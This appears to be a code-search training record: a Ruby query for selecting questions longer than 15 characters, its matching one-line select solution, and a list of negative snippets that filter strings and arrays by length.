"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def qa_game_params
params.require(:qa_game).permit(:name, :layout)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6980629",
"0.67819995",
"0.67467666",
"0.67419875",
"0.67347664",
"0.65928614",
"0.6504013",
"0.6498014",
"0.64819515",
"0.64797956",
"0.64562726",
"0.64400834",
"0.6380117",
"0.6377456",
"0.63656694",
"0.6320543",
"0.63002014",
"0.62997127",
"0.629425",
"0.6293866",
"0.62909746",
"0.62904227",
"0.62837297",
"0.6240993",
"0.6239739",
"0.6217764",
"0.6214983",
"0.62112504",
"0.6194765",
"0.6178",
"0.61755055",
"0.61729854",
"0.61636627",
"0.6153461",
"0.6151674",
"0.61478525",
"0.6122671",
"0.61188513",
"0.61075556",
"0.6105721",
"0.6092412",
"0.6081011",
"0.6071054",
"0.6064436",
"0.6022111",
"0.6018135",
"0.60151577",
"0.60108894",
"0.60070235",
"0.60070235",
"0.6000806",
"0.6000464",
"0.5998811",
"0.59926987",
"0.5992257",
"0.5991173",
"0.5980311",
"0.59660876",
"0.59596545",
"0.5959415",
"0.59589994",
"0.5957478",
"0.5953214",
"0.5952233",
"0.5944033",
"0.59396756",
"0.59396756",
"0.59386414",
"0.59345603",
"0.5931261",
"0.5926345",
"0.5925795",
"0.59174526",
"0.59108645",
"0.5909469",
"0.5908263",
"0.59053195",
"0.58980685",
"0.5897738",
"0.589657",
"0.5895971",
"0.58942044",
"0.5892847",
"0.588742",
"0.58834344",
"0.5880024",
"0.58739793",
"0.5868253",
"0.5867907",
"0.58670515",
"0.58668053",
"0.5865756",
"0.5863549",
"0.5863236",
"0.5862728",
"0.5861283",
"0.58591247",
"0.5855159",
"0.5854291",
"0.58512247",
"0.58498096"
] |
0.0
|
-1
|
def long_question (quest_arr) result_arr = [] quest_arr.each do |x| if x.length > 15 result_arr << x end end return result_arr end method2
|
def long_question (quest_arr)
quest_arr.select { |question| question.size > 15 }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def long_strings(arr_long_string)\n #empty array\n more_five = []\n #iterate into how word and know its longitude\n arr_long_string.each do |string|\n if string.length >= 5\n #if its meets enter to the array\n more_five << string\n end\n end\n #return the array with the strings\n more_five\nend",
"def select_long_words(words) # Define method\n i = 0 # Set starting index value\n new_array = [] # Create new empty array to shovel values into\n \n while i < words.length # Length of word argument array must be less than index value of current iteration\n if words[i].length > 4 # Character length of words of index value must be greater than 4\n new_array << words[i] # Words of i value then is allowed to be put into array\n end\n i += 1 # Increase by 1 per iteration til condition no longer logical\n end\n return new_array \n\nend",
"def long_strings(array)\n array.find_all {|i| i.length > 4}\nend",
"def question_length_method1(num)\n questions = []\n questions << \"What is your name?\"\n questions << \"How are you?\"\n questions << \"Is that right?\"\n questions << \"Are you John?\"\n questions << \"How is everything?\"\n\n print questions.select {|n| n.length > num}\nend",
"def numbers_larger_than(num_array)\n new_array = []\n num_array.select{|word| \n if word.length > 3\n new_array.push(word)\n end\n }\n words_longer_than(new_array, new_array.length) \nend",
"def select_long_words(words)\n\n new_arr = []\n\n i = 0\n while i < words.length\n if words[i].length > 4\n new_arr << words[i]\n else \n end \n i += 1\n end \n return new_arr\n\nend",
"def select_long_words(words)\n\tnew_array = []\n \n\ti = 0\n\twhile i < words.length\n\t\tif words[i].length > 4\n \t\tnew_array << words[i]\n end\n \ti += 1\n end\n \n return new_array\nend",
"def questions\n result = []\n 1.upto(@@max_questions) { |i| result << question(i) }\n result.select { |q| !q.empty? }\n end",
"def setup_short_answer_questions(questions)\n questions[35..50].each do |questions_in_a_lesson|\n @unique_questions << questions_in_a_lesson.find_all{|question| question.question_type == 'short_answer'}[rand(2)]\n end\n end",
"def select_long_words(words)\n i = 0\n newArr = []\n while i < words.length\n if words[i].length > 4\n newArr << words[i]\n end\n i += 1\n end\n return newArr\n end",
"def virus(input_array)\n new_array = []\n number_of_loops = input_array.length\n index = 0\n\nnumber_of_loops.times do\n if input_array[index] > 7\n new_array << input_array[index]\n end\n index = index + 1\nend\n\nreturn new_array \nend",
"def filter_long_words(sentence, n)\n #your code here\n words = []\n for word in sentence.split(\" \")\n words << word if word.length > n\n end\n words\nend",
"def select_long_words(words)\n\ti = 0\n arry = []\n \twhile i < words.length\n if words[i].length > 4\n arry << words[i]\n end\n i += 1\n end\n return arry\nend",
"def long_planeteer_calls(array)\n array.any? do |word|\n word.length > 4 \n end \nend",
"def long_planeteer_calls(array)\n array.any? do |word|\n word.size > 4\n end\nend",
"def long_planeteer_calls(array)\n array.each do |element|\n return true unless element.to_s.length <= 4\n end\n return false\nend",
"def print_strings_greater_than(stringsArray, size)\n resultarray = []\n limit = stringsArray.length\n limit.times do |position|\n currentString = stringsArray[position]\n add_item(resultarray,currentString) if check_length(currentString,size)\n end\n print_array(resultarray)\nend",
"def puzzle_2 \n newArr = []\n arr = [\"John\", \"KB\", \"Oliver\", \"Cory\", \"Matthew\", \"Christoper\"]\n arr.shuffle!\n for i in arr\n puts i\n newArr << i if i.length > 5\n end\n puts newArr\nend",
"def virus(array_input)\n new_array = [ ]\n number_of_loops = array_input.length\n index = 0 \n\n number_of_loops.times do \n if array_input[index] > 7\n\tnew_array << array_input[index]\n end \n index = index + 1 \n end \n output = new_array\n return output\n\nend",
"def select_long_words(words)\n long_words = []\n \n i = 0\n while i < words.length\n if words[i].length > 4\n long_words << words[i]\n end\n \n i += 1\n end\n \n return long_words\nend",
"def long_planeteer_calls(array)\n return array.any?{|item| item.length > 4}\n # code an argument here\n # Your code here\nend",
"def lessThan100(array)\ni = 0\nnewArr = []\nwhile i < array.length\nif array[i] < 100 \nnewArr << array[i]\nend\ni+=1\nend\nreturn newArr\nend",
"def long_planeteer_calls(array)\n array.any? { |word| word.length > 4}\nend",
"def high_yield_mines (a)\n @arr2 = Array.new\n a.each do |this|\n if this[:specimens].length >= 4\n @arr2.push(this[:location])\n end\n end\nend",
"def remove_long_quotes(array)\n array.select { |e| e.length <= 140 }\nend",
"def excedan(arr)\n b = arr.select {|e| e.length >= 5}\n print \"#{b}\\n\"\nend",
"def long_planeteer_calls(arr)\n arr.any? {|call|call.length > 4}\nend",
"def long_planeteer_calls(array)\n array.any?{|call| call.length > 4}\n #any?=>returns TRUE if ar least 1 (in this case,4) element is true\nend",
"def select_long_words(words)\n long = []\n\n i = 0\n\n while i < words.length\n word = words[i]\n if word.length > 4\n long << word\n end\n i += 1\n end\n\n return long\nend",
"def long_planeteer_calls(calls)\n\tcalls.any? {|item| item.length > 4}\nend",
"def find_long\n array = [\"dog\", \"caterpillar\", \"bee\" ]\n\n array.detect do |word|\n word.length > 3\n end\nend",
"def long_planeteer_calls(calls_long)\n calls_long.any? do |word|\n word.length > 4\n # if word.length>4\n # return true\n # end\n end\n\n \nend",
"def long_planeteer_calls(array)\n array.any? do\n |word| word.length > 4\n end\nend",
"def long_planeteer_calls(calls)\n calls.each do |word|\n if word.length > 4\n return true\n else\n return false\n end\n end\nend",
"def filter_lengths(strings, length=5)\n big_words = []\n strings.each { |ele| big_words << ele if ele.length >= length }\n return big_words\nend",
"def \n \n long_planeteer_calls(planeteer_calls)\n \n puts \n p planeteer_calls \n puts\n \n planeteer_calls.any? { |any_string| any_string.length > 4 }\n # !! (<) !!\n # >__<\n \nend",
"def nombres(arr)\n puts arr.shuffle.join(\" \")\n puts arr.select{ |nombre| nombre.length>5 }.join(\" \")\nend",
"def clever_octopus!(array)\n str = \"\"\n array.each do |ele|\n if ele.length > str.length \n str = ele \n end\n end \n str\nend",
"def long_planeteer_calls(words)\n words.any? {|word| word.length > 4}\nend",
"def long_planeteer_calls(planateer_calls)# code an argument here\n # Your code here\n planateer_calls.any? { |call| call.length >= 5 }\n \nend",
"def longer_than_three(arr)\n arr.select do |name|\n name.chars.count > 3\n end\nend",
"def question_split\n arr_of_strings = []\n single_question = []\n @data.each do |str|\n if str.length == 3 || str.length == 2\n if str[0].numeric? && str[-1] == '.'\n arr_of_strings << single_question\n single_question = []\n single_question << str\n else\n single_question << str\n end\n else\n single_question << str\n end\n end\n arr_of_strings << single_question\n @data = arr_of_strings\n end",
"def cutMsg(msg)\n if msg.length>160\n \n msg_arr = msg.split(\" \")\n msg_single = \"\"\n msg_cut = []\n for i in 0..msg_arr.count-1\n msg_single +=(msg_arr[i] + \" \")\n #cut message if longer than 160 char\n if msg_single.length>160\n #starting to build each message\n msg_single = msg_single[0..msg_single.length-1-(msg_arr[i].length+1)] # if over 160, cut the last word out\n msg_cut.push msg_single\n puts msg_single.length \n msg_single = msg_arr[i] + \" \" #start the next array element with the word just cut out\n end\n end\n msg_cut.push(msg[msg_cut.join(\" \").length-2..msg.length])\n else\n msg_cut = [msg]\n end\n end",
